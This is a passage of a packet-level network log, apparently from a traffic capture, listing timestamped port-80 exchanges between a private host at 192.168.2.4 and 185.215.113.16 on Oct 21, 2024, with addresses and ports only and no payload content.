Oct 21, 2024 10:46:26.067657948 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.067662954 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067673922 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067677975 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.067687988 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067699909 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067711115 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067720890 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.067725897 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067733049 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.067738056 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067749023 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067759991 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067771912 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067774057 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.067795038 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.067805052 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067806959 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.067816019 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067826986 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067837954 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067848921 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067852974 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.067861080 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067872047 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067874908 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.067883015 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067894936 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.067894936 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067905903 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067917109 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067929983 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.067938089 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067950010 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067953110 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.067961931 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067974091 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067984104 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.067984104 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.067992926 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.067996979 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068008900 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068022013 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068047047 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068080902 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068093061 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068101883 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068113089 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068123102 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068129063 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068134069 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068140030 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068145990 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068157911 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068167925 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068172932 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068180084 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068195105 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068197012 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068212032 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068217993 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068223000 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068233013 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068243980 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068257093 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068275928 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068363905 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068373919 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068383932 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068394899 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068404913 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068408012 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068418026 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068418026 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068429947 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068444014 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068448067 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068459988 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068475008 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068479061 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068490982 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068500042 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068502903 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068510056 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068521976 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068522930 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068541050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068542957 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068553925 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068563938 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068573952 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068581104 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068586111 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068589926 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068608999 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068619013 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068629026 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068635941 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068650961 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068659067 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068672895 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068685055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068694115 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068695068 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068707943 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068713903 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068720102 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068734884 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068747044 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068757057 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068757057 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068768978 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068778038 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068780899 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068793058 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068802118 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068803072 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068820953 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068824053 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068835974 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068845987 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068846941 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068857908 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068870068 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068880081 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068881989 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068892002 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068903923 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068907022 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068916082 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068916082 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068928957 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068939924 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068943977 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068959951 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068970919 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.068974018 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068984985 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068995953 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.068999052 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069005966 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069019079 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069021940 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069031000 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069041014 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069041967 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069053888 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069065094 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069076061 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069080114 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069103956 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069104910 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069116116 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069117069 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069128036 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069139004 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069149971 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069152117 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069160938 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069171906 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069175959 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069181919 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069191933 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069199085 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069204092 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069209099 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069216013 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069237947 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069238901 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069250107 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069259882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069269896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069271088 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069282055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069293022 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069303036 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069303989 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069314957 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069322109 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069327116 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069333076 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069340944 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069360971 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069412947 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069425106 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069433928 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069446087 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069452047 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069458008 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069469929 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069473028 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069482088 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069492102 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069499016 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069503069 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069514036 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069519043 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069525003 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069535017 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069540024 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069541931 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069550991 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069571018 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069578886 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069586039 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069597006 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069610119 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069618940 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069621086 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069632053 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069638968 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069643974 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069654942 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069658995 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069668055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069679022 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069685936 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069690943 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069698095 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069701910 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069715023 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069734097 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069734097 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069746971 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069756985 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069758892 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069766998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069781065 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069787979 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069798946 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069806099 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069809914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069820881 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069832087 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069840908 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069845915 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069854021 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069859028 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069869995 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069880962 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069883108 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069892883 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069902897 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069912910 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069922924 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069924116 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069924116 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069941998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069952965 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069961071 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069972992 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069982052 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.069986105 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.069993019 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070003033 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070009947 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070024014 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070029020 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070039034 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070049047 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070059061 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070064068 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070069075 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070080996 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070090055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070091009 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070102930 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070111990 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070116043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070122957 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070127964 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070141077 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070151091 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070151091 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070169926 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070173979 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070183039 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070194006 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070203066 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070207119 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070220947 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070229053 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070233107 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070245028 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070256948 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070266008 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070269108 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070277929 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070288897 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070291996 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070301056 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070301056 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070314884 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070327044 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070333958 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070344925 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070353031 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070355892 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070368052 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070378065 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070386887 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070391893 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070400953 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070404053 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070415974 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070425987 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070426941 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070440054 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070451021 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070455074 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070460081 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070471048 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070483923 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070488930 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070501089 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070508003 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070509911 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070519924 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070523024 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070533991 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070544004 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070547104 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070558071 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070564032 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070570946 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070581913 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070591927 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070601940 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070607901 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070614100 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070621967 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070625067 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070635080 CEST	49745	80	192.168.2.4	185.215.113.16
